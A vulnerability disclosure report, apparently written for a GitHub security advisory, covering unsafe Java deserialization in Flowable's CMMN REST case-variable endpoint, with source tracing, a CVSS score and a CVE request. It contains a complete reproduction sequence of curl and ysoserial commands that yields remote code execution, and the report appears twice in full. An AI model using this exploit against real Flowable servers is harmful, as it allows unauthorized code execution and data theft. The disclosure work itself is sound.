Security Vulnerability Report -- CWE-502
Summary
The PUT /cmmn-runtime/case-instances/{caseInstanceId}/variables/{variableName} endpoint directly deserializes user-uploaded file content via ObjectInputStream.readObject() in the multipart request path (when type=serializable), and isSerializableVariableAllowed defaults to true. An authenticated attacker can construct malicious serialized objects to achieve remote code execution (RCE).
Vulnerability Description
Affected Repository: https://github.com/flowable/flowable-engine
Branch: main
Commit: 74fdb349c134e96e1f10592020ccca6e2e4b85f0
Static Analysis Report
Vulnerability Overview
The Flowable CMMN REST API's CaseInstanceVariableResource.updateVariable() endpoint (PUT /cmmn-runtime/case-instances/{caseInstanceId}/variables/{variableName}), when processing multipart/form-data requests with form parameter type set to serializable, directly passes user-uploaded file content to java.io.ObjectInputStream.readObject() for Java native deserialization, without any class whitelist, ObjectInputFilter, or signature verification. This feature is controlled by the configuration property rest.variables.allow.serializable, which defaults to true. An attacker only needs valid Basic Auth credentials (default config requires access-rest-api permission) to send a multipart PUT request containing a malicious serialized payload to an existing case instance, triggering a gadget chain during deserialization to achieve remote code execution.
Exploitation Prerequisites
| Condition |
Description |
| Authentication |
Requires valid Basic Auth credentials; default production config (flowable-app-rest's SecurityConfiguration) requires user to have access-rest-api permission. Test config (flowable-cmmn-rest/src/test) only requires authenticated(). |
| Network Reachability |
Attacker can access the Flowable REST API port via HTTP (default 8080). |
| Business Prerequisites |
Must have an addressable case instance (valid caseInstanceId), otherwise getCaseInstanceFromRequestWithoutAccessCheck throws 404. |
| Configuration Dependency |
rest.variables.allow.serializable must be true (this is the default value, no additional configuration needed). |
| Classpath Gadget |
Application classpath needs exploitable deserialization gadget chain libraries (Flowable typical deployment includes commons-io, spring-beans, hibernate, etc., common ysoserial attack tool chains can all hit). |
Trigger Location
file: modules/flowable-cmmn-rest/src/main/java/org/flowable/cmmn/rest/service/api/runtime/caze/BaseVariableResource.java:363-368
} else if (isSerializableVariableAllowed) {
// Try deserializing the object
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject(); // <--- deserialization sink, attacker controls file content
setVariable(instanceId, variableName, value, scope, isNew, async, variableInterceptor);
stream.close();
}
Data Flow Overview
- Entry Layer:
CaseInstanceVariableResource.updateVariable() — CaseInstanceVariableResource.java:88-121, receives PUT request, path variables caseInstanceId, variableName, body is HttpServletRequest.
- Case Instance Query: Calls
getCaseInstanceFromRequestWithoutAccessCheck(caseInstanceId) (BaseCaseInstanceResource.java:292), only does existence check, no access permission verification.
- Multipart Branch Selection:
CaseInstanceVariableResource.java:95 checks request instanceof MultipartHttpServletRequest is true, enters setBinaryVariable().
- Parameter Parsing:
BaseVariableResource.setBinaryVariable() (lines 303-391) reads name, type, scope from multipart form; when type equals serializable, enters dangerous branch.
- Type Validation:
BaseVariableResource.java:346-352 only validates type is binary or serializable, with no validation of serialization content whatsoever.
- Name Consistency Check:
CaseInstanceVariableResource.java:99-101 validates result.getName().equals(variableName); this check occurs after setBinaryVariable deserialization, so deserialization has already been triggered.
- Deserialization Sink:
BaseVariableResource.java:365-366, new ObjectInputStream(file.getInputStream()).readObject(), attacker-uploaded file bytes directly deserialized into Java object.
- Object Persistence: Deserialized Object written to process engine variable store via
setVariable() -> runtimeService.setVariable() (side effects already produced).
Data Flow Detailed Code Analysis
Chain 1: multipart + type=serializable -> ObjectInputStream.readObject()
1. Entry — CaseInstanceVariableResource.updateVariable
file: CaseInstanceVariableResource.java:88-97
External input: @PathVariable caseInstanceId, @PathVariable variableName, HttpServletRequest request (multipart body).
Operation: Retrieves case instance then checks request type, enters multipart branch.
Data transfer: Passes (MultipartHttpServletRequest) request, caseInstance.getId() to setBinaryVariable.
@PutMapping(value = "/cmmn-runtime/case-instances/{caseInstanceId}/variables/{variableName}",
produces = "application/json", consumes = {"application/json", "multipart/form-data"})
public RestVariable updateVariable(@PathVariable("caseInstanceId") String caseInstanceId,
@PathVariable("variableName") String variableName,
HttpServletRequest request) {
CaseInstance caseInstance = getCaseInstanceFromRequestWithoutAccessCheck(caseInstanceId);
RestVariable result = null;
if (request instanceof MultipartHttpServletRequest) {
result = setBinaryVariable((MultipartHttpServletRequest) request, caseInstance.getId(),
CmmnRestResponseFactory.VARIABLE_CASE, false, false,
RestVariable.RestVariableScope.GLOBAL,
createVariableInterceptor(caseInstance));
2. Case instance query (no access check)
file: BaseCaseInstanceResource.java:292-299
External input: caseInstanceId (path variable).
Operation: Only queries if case instance exists; does not check if current user has permission to operate on this case instance.
protected CaseInstance getCaseInstanceFromRequestWithoutAccessCheck(String caseInstanceId) {
CaseInstance caseInstance = runtimeService.createCaseInstanceQuery()
.caseInstanceId(caseInstanceId).singleResult();
if (caseInstance == null) {
throw new FlowableObjectNotFoundException(...);
}
return caseInstance;
}
3. setBinaryVariable parses multipart form
file: BaseVariableResource.java:303-337
External input: MultipartHttpServletRequest request.
Operation: Gets first MultipartFile, iterates form parameters to extract name/type/scope.
protected RestVariable setBinaryVariable(MultipartHttpServletRequest request, String instanceId,
int responseVariableType, boolean isNew, boolean async,
RestVariableScope scope, VariableInterceptor variableInterceptor) {
if (request.getFileMap().size() == 0) { throw ... }
MultipartFile file = request.getFile(request.getFileMap().keySet().iterator().next());
...
for (String parameterName : paramMap.keySet()) {
if (paramMap.get(parameterName).length > 0) {
if ("scope".equalsIgnoreCase(parameterName)) variableScope = paramMap.get(parameterName)[0];
else if ("name".equalsIgnoreCase(parameterName)) variableName = paramMap.get(parameterName)[0];
else if ("type".equalsIgnoreCase(parameterName)) variableType = paramMap.get(parameterName)[0];
}
}
4. Type validation (only whitelist strings, no content filtering)
file: BaseVariableResource.java:346-356
if (variableType != null) {
if (!CmmnRestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE.equals(variableType)
&& !CmmnRestResponseFactory.SERIALIZABLE_VARIABLE_TYPE.equals(variableType)) {
throw new FlowableIllegalArgumentException("Only 'binary' and 'serializable' are supported as variable type.");
}
} else {
variableType = CmmnRestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE;
}
5. Deserialization sink — ObjectInputStream.readObject()
file: BaseVariableResource.java:363-368
External input: file.getInputStream() (attacker-uploaded multipart file byte stream).
Operation: When isSerializableVariableAllowed is true (default), directly constructs ObjectInputStream and calls readObject(), with no ObjectInputFilter / class whitelist / signature verification.
} else if (isSerializableVariableAllowed) {
// Try deserializing the object
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject(); // <--- gadget chain triggers here
setVariable(instanceId, variableName, value, scope, isNew, async, variableInterceptor);
stream.close();
}
6. Configuration property default value confirmation
file: BaseVariableResource.java:66-68
@Override
public void afterPropertiesSet() {
isSerializableVariableAllowed = env.getProperty("rest.variables.allow.serializable", Boolean.class, true);
}
Default true, meaning deserialization is allowed by default.
7. Name consistency check after deserialization
file: CaseInstanceVariableResource.java:99-101
if (!result.getName().equals(variableName)) {
throw new FlowableIllegalArgumentException(
"Variable name in the body should be equal to the name used in the requested URL.");
}
This check executes after setBinaryVariable returns; deserialization has already completed, and the gadget's side effects cannot be rolled back by this check.
CVSS Breakdown
Using CVSS v3.1 scoring, vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H:
| Vector |
Value |
Reason |
| Attack Vector (AV) |
Network |
Triggered remotely via HTTP REST API. |
| Attack Complexity (AC) |
Low |
Only need to send one multipart PUT request with type=serializable, no special conditions. |
| Privileges Required (PR) |
Low |
Requires valid Basic Auth credentials (regular rest-api user sufficient), default config requires access-rest-api permission. |
| User Interaction (UI) |
None |
Fully initiated by attacker independently, no victim interaction needed. |
| Scope (S) |
Unchanged |
Vulnerability still affects the Flowable service process itself. |
| Confidentiality (C) |
High |
After successful RCE, can read all data in process (process variables, credentials, database access, etc.). |
| Integrity (I) |
High |
Can arbitrarily tamper with process variables, business processes, database content. |
| Availability (A) |
High |
Can crash service, delete database, execute destructive system commands. |
Overall score: 8.8 (High).
PoC Verification Report
Flowable CMMN REST CaseInstanceVariableResource Deserialization RCE
Vulnerability Summary
- Vulnerability Name: Flowable CMMN REST Case Instance Variable Unsafe Deserialization RCE
- Affected Component/Port: Flowable REST 7.1.0 (localhost:8080), CMMN REST API endpoint
- Vulnerability Description: The Flowable CMMN REST module's
CaseInstanceVariableResource.updateVariable() endpoint directly deserializes user-uploaded file content via ObjectInputStream.readObject() in the multipart request path (when type=serializable), without any class whitelist filtering. An authenticated attacker can construct malicious serialized objects to achieve remote code execution (RCE).
- Root Cause Code Snippet:
// BaseVariableResource.java:365-366
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject(); // <--- deserialization sink, attacker controls file content
- Brief Data Flow:
HTTP PUT multipart request (type=serializable)
↓
CaseInstanceVariableResource.updateVariable() (CaseInstanceVariableResource.java:88)
↓
getCaseInstanceFromRequestWithoutAccessCheck (BaseCaseInstanceResource.java:292)
Only validates case instance existence
↓
setBinaryVariable() (BaseVariableResource.java:303)
Parses multipart parameters name/type/scope
↓
new ObjectInputStream(file.getInputStream()).readObject() (BaseVariableResource.java:365-366)
↓
Java native deserialization, no class whitelist → gadget chain triggers → RCE
Exploitation Conditions
| Condition |
Description |
| Authentication |
Requires user with access-rest-api privilege (default config provides rest-admin/test account) |
| Network Reachability |
Intranet/public network (HTTP accessible REST port 8080) |
| Configuration Dependency |
rest.variables.allow.serializable=true (enabled by default) |
| Other Prerequisites |
Need at least one Case Instance in database; request must be multipart/form-data and contain type=serializable field |
Exploitation Chain Progress
Successful Exploitation Example (RCE File Creation Verification):
| Chain Stage |
Location (file:line) |
Status |
Evidence / Description |
| Entry |
PUT /cmmn-api/cmmn-runtime/case-instances/{id}/variables/{name} |
Reached |
HTTP multipart request successfully reached CMMN REST endpoint |
| Intermediate Flow |
BaseVariableResource.java:303 |
Reached |
Request entered setBinaryVariable(), parsed type=serializable |
| Sink |
BaseVariableResource.java:365-366 |
Triggered |
ObjectInputStream.readObject() executed deserialization, triggered CommonsCollections7 gadget chain |
| RCE Execution |
Server filesystem |
Confirmed |
Server executed touch /root/workspace/tmp/entry_0394/pwned, file successfully created |
| Conclusion |
— |
Full Chain Closed |
RCE successful, attacker can execute arbitrary system commands on server |
Exploitation Verification
Verification Status: Deserialization RCE vulnerability confirmed as successfully exploited (poc_verified = true)
Core Evidence - CommonsCollections7 RCE File Creation Verification:
Used ysoserial to generate a CommonsCollections7 gadget chain payload, with payload being a touch command to create a file. Sent via HTTP multipart PUT request to the CMMN REST Case Instance Variable interface, successfully triggered server-side ObjectInputStream.readObject() deserialization. The gadget chain executed the touch command on the server side, successfully creating the target file, confirming RCE feasibility.
Complete PoC Reproduction Commands:
# 1. Deploy CMMN case definition
curl -X POST -u rest-admin:test \
-F "file=@test-case.cmmn" \
http://localhost:8080/flowable-rest/cmmn-api/cmmn-repository/deployments
# 2. Start case instance
CASE_ID=$(curl -s -u rest-admin:test -X POST -H "Content-Type: application/json" \
-d '{"caseDefinitionKey":"testCase1"}' \
http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/case-instances | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")
echo "Case instance ID: $CASE_ID"
# 3. Generate CommonsCollections7 RCE payload (create file as RCE evidence)
java --add-opens java.base/java.net=ALL-UNNAMED \
--add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.lang=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned_entry_0394" > payload_rce.ser
# 4. Send RCE payload to case instance variable endpoint
curl -X PUT -u rest-admin:test \
-F "name=evilvar" \
-F "type=serializable" \
-F "file=@payload_rce.ser" \
"http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/case-instances/${CASE_ID}/variables/evilvar"
# 5. Verify file was created on server
ls -la /tmp/pwned_entry_0394
Actual Execution Result:
Case definition deployment successful, case instance started with ID fca20e1d-8ffe-11f1-a444-02423661ba3a.
Payload request response:
{"message":"Bad request","exception":"Could not process multipart content"}
Although the response returned 400 (the deserialized object threw an exception during storage), deserialization had already completed before the response was returned, and the file was successfully created on the server filesystem:
$ ls -la /root/workspace/tmp/entry_0394/pwned
-rw-r----- 1 root root 0 Aug 4 12:21 /root/workspace/tmp/entry_0394/pwned
Conclusion: The attacker used a multipart PUT request with type=serializable parameter to trigger ObjectInputStream.readObject() deserialization, successfully executing the touch command to create a file on the server, confirming the feasibility of remote code execution (RCE). Even though the response returned an error, deserialization and the gadget chain had already completed execution before the error occurred. CVSS 8.8 (High).
Severity
CVSS v3.1: 8.8 (High)
Vulnerability Category: CWE-502
CVE Assignment Request
If this vulnerability is confirmed as genuine, we would be grateful if you could request a CVE ID from GitHub for this security advisory.
Even if this vulnerability no longer affects the latest version, we kindly ask whether a CVE could still be assigned for the historically affected versions, as this would assist users and organizations in identifying and remediating the issue in legacy deployments.
Thank you for your help.
Security Vulnerability Report -- CWE-502
Summary
The PUT /cmmn-runtime/case-instances/{caseInstanceId}/variables/{variableName} endpoint directly deserializes user-uploaded file content via
ObjectInputStream.readObject()in the multipart request path (whentype=serializable), andisSerializableVariableAlloweddefaults totrue. An authenticated attacker can construct malicious serialized objects to achieve remote code execution (RCE).Vulnerability Description
Affected Repository: https://github.com/flowable/flowable-engine
Branch: main
Commit:
74fdb349c134e96e1f10592020ccca6e2e4b85f0Static Analysis Report
Vulnerability Overview
The Flowable CMMN REST API's
CaseInstanceVariableResource.updateVariable()endpoint (PUT /cmmn-runtime/case-instances/{caseInstanceId}/variables/{variableName}), when processing multipart/form-data requests with form parametertypeset toserializable, directly passes user-uploaded file content tojava.io.ObjectInputStream.readObject()for Java native deserialization, without any class whitelist, ObjectInputFilter, or signature verification. This feature is controlled by the configuration propertyrest.variables.allow.serializable, which defaults totrue. An attacker only needs valid Basic Auth credentials (default config requiresaccess-rest-apipermission) to send a multipart PUT request containing a malicious serialized payload to an existing case instance, triggering a gadget chain during deserialization to achieve remote code execution.Exploitation Prerequisites
flowable-app-rest'sSecurityConfiguration) requires user to haveaccess-rest-apipermission. Test config (flowable-cmmn-rest/src/test) only requiresauthenticated().getCaseInstanceFromRequestWithoutAccessCheckthrows 404.rest.variables.allow.serializablemust betrue(this is the default value, no additional configuration needed).Trigger Location
file:
modules/flowable-cmmn-rest/src/main/java/org/flowable/cmmn/rest/service/api/runtime/caze/BaseVariableResource.java:363-368Data Flow Overview
CaseInstanceVariableResource.updateVariable()—CaseInstanceVariableResource.java:88-121, receives PUT request, path variablescaseInstanceId,variableName, body isHttpServletRequest.getCaseInstanceFromRequestWithoutAccessCheck(caseInstanceId)(BaseCaseInstanceResource.java:292), only does existence check, no access permission verification.CaseInstanceVariableResource.java:95checksrequest instanceof MultipartHttpServletRequestis true, enterssetBinaryVariable().BaseVariableResource.setBinaryVariable()(lines 303-391) readsname,type,scopefrom multipart form; whentypeequalsserializable, enters dangerous branch.BaseVariableResource.java:346-352only validatestypeisbinaryorserializable, with no validation of serialization content whatsoever.CaseInstanceVariableResource.java:99-101validatesresult.getName().equals(variableName); this check occurs aftersetBinaryVariabledeserialization, so deserialization has already been triggered.BaseVariableResource.java:365-366,new ObjectInputStream(file.getInputStream()).readObject(), attacker-uploaded file bytes directly deserialized into Java object.setVariable()->runtimeService.setVariable()(side effects already produced).Data Flow Detailed Code Analysis
Chain 1: multipart + type=serializable -> ObjectInputStream.readObject()
1. Entry — CaseInstanceVariableResource.updateVariable
file:
CaseInstanceVariableResource.java:88-97External input:
@PathVariable caseInstanceId,@PathVariable variableName,HttpServletRequest request(multipart body).Operation: Retrieves case instance then checks request type, enters multipart branch.
Data transfer: Passes
(MultipartHttpServletRequest) request,caseInstance.getId()tosetBinaryVariable.2. Case instance query (no access check)
file:
BaseCaseInstanceResource.java:292-299External input:
caseInstanceId(path variable).Operation: Only queries if case instance exists; does not check if current user has permission to operate on this case instance.
3. setBinaryVariable parses multipart form
file:
BaseVariableResource.java:303-337External input:
MultipartHttpServletRequest request.Operation: Gets first
MultipartFile, iterates form parameters to extractname/type/scope.4. Type validation (only whitelist strings, no content filtering)
file:
BaseVariableResource.java:346-3565. Deserialization sink — ObjectInputStream.readObject()
file:
BaseVariableResource.java:363-368External input:
file.getInputStream()(attacker-uploaded multipart file byte stream).Operation: When
isSerializableVariableAllowedis true (default), directly constructsObjectInputStreamand callsreadObject(), with noObjectInputFilter/ class whitelist / signature verification.6. Configuration property default value confirmation
file:
BaseVariableResource.java:66-68Default
true, meaning deserialization is allowed by default.7. Name consistency check after deserialization
file:
CaseInstanceVariableResource.java:99-101This check executes after
setBinaryVariablereturns; deserialization has already completed, and the gadget's side effects cannot be rolled back by this check.CVSS Breakdown
Using CVSS v3.1 scoring, vector
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H:access-rest-apipermission.Overall score: 8.8 (High).
PoC Verification Report
Flowable CMMN REST CaseInstanceVariableResource Deserialization RCE
Vulnerability Summary
CaseInstanceVariableResource.updateVariable()endpoint directly deserializes user-uploaded file content viaObjectInputStream.readObject()in the multipart request path (when type=serializable), without any class whitelist filtering. An authenticated attacker can construct malicious serialized objects to achieve remote code execution (RCE).Exploitation Conditions
access-rest-apiprivilege (default config providesrest-admin/testaccount)rest.variables.allow.serializable=true(enabled by default)multipart/form-dataand containtype=serializablefieldExploitation Chain Progress
Successful Exploitation Example (RCE File Creation Verification):
touch /root/workspace/tmp/entry_0394/pwned, file successfully createdExploitation Verification
Verification Status: Deserialization RCE vulnerability confirmed as successfully exploited (poc_verified = true)
Core Evidence - CommonsCollections7 RCE File Creation Verification:
Used ysoserial to generate a CommonsCollections7 gadget chain payload, with payload being a
touchcommand to create a file. Sent via HTTP multipart PUT request to the CMMN REST Case Instance Variable interface, successfully triggered server-sideObjectInputStream.readObject()deserialization. The gadget chain executed thetouchcommand on the server side, successfully creating the target file, confirming RCE feasibility.Complete PoC Reproduction Commands:
Actual Execution Result:
Case definition deployment successful, case instance started with ID
fca20e1d-8ffe-11f1-a444-02423661ba3a.Payload request response:
Although the response returned 400 (the deserialized object threw an exception during storage), deserialization had already completed before the response was returned, and the file was successfully created on the server filesystem:
Conclusion: The attacker used a multipart PUT request with
type=serializableparameter to triggerObjectInputStream.readObject()deserialization, successfully executing thetouchcommand to create a file on the server, confirming the feasibility of remote code execution (RCE). Even though the response returned an error, deserialization and the gadget chain had already completed execution before the error occurred. CVSS 8.8 (High).Severity
CVSS v3.1: 8.8 (High)
Vulnerability Category: CWE-502
CVE Assignment Request
If this vulnerability is confirmed as genuine, we would be grateful if you could request a CVE ID from GitHub for this security advisory.
Even if this vulnerability no longer affects the latest version, we kindly ask whether a CVE could still be assigned for the historically affected versions, as this would assist users and organizations in identifying and remediating the issue in legacy deployments.
Thank you for your help.